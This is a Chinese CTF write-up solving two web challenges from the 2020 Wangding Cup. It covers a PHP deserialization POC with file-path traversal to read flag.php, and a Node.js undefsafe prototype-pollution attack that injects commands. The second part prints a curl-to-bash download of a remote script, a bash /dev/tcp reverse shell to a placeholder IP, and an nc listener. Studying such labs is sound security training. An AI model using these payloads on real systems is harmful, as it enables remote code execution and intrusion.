2020网鼎杯青龙组Web(更新中)

发布于 2020-05-15  1051 次阅读


AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}


    $str = "O:11:\"FileHandler\":3:{s:2:\"op\";i:2;s:8:\"filename\";s:6:\"xx.php\";s:7:\"content\";s:0:\"\";}";
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

这题经验性的技巧比较强吧。首先POC链很好分析:

  1. __destruct()
  2. process()
  3. read()(获取flag.php->return $res)
  4. output($res);

首先绕过对$op的检查,注意到他使用的是强等于号,于是传入数字1

其次$op,$filename都是protected类型,在反序列化的过程中会产生\0 ,但是会被is_valid()函数给砍掉。

有大佬说可以改成空格,但是我在比赛的时候试了一下似乎不行。我在比赛的时候直接在构造的时候把他改成public就行了,这是因为PHP7对类型不敏感的缘故。

最终的POC

<?php

class FileHandler {

    public $op= 2; //改成数字类型的2
    public $filename="flag.php";
    public $content="";

}
$ax = new FileHandler();
echo(serialize($ax));
?>

拿到

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

这个在buuoj上能直接过了,但是在比赛的时候会遇上一个更恶心的事情:目录穿越,直接获取flag.php无效,file_get_contents()被穿越到了根目录

于是我们依次访问:

/proc/self/cmdline 找到httpd配置文件

/web/config/httpd.conf 找到web根目录为/web/html。

然后再访问/web/html/flag.php拿flag

notes

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

/edit_note 后访问

edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

里面的undefsafe可以进行污染(https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940),导致后面/status执行系统命令的字典被篡改。

我们传入id='__proto__',author='系统命令',会直接导致command字典变成

commands = {
            "script-1": "uptime",
            "script-2": "free -m"
            (__proto__)"id.author":"命令"
            .......
        };

在遍历命令的时候就会导致命令被执行。

由于这里没有回显,需要反弹shell

一种方法可以是写个shell.txt,在curl他给bash

id=__proto__&author=curl http://IP/shell.txt|bash&raw=hello

shell.txt:

bash -i >& /dev/tcp/IP/2333 0>&1

关于命令的解释:https://www.freebuf.com/articles/system/178150.html

或者直接

id=__proto__&author=bash -i >& /dev/tcp/IP/2333 0>&1&raw=hello

由于&在URI中会被转义,所以需要对author的内容进行URL编码。

之后就在控制机上nc -lvp 2333 然后访问/status等shell弹过来就行了。


等风来,不如追风去。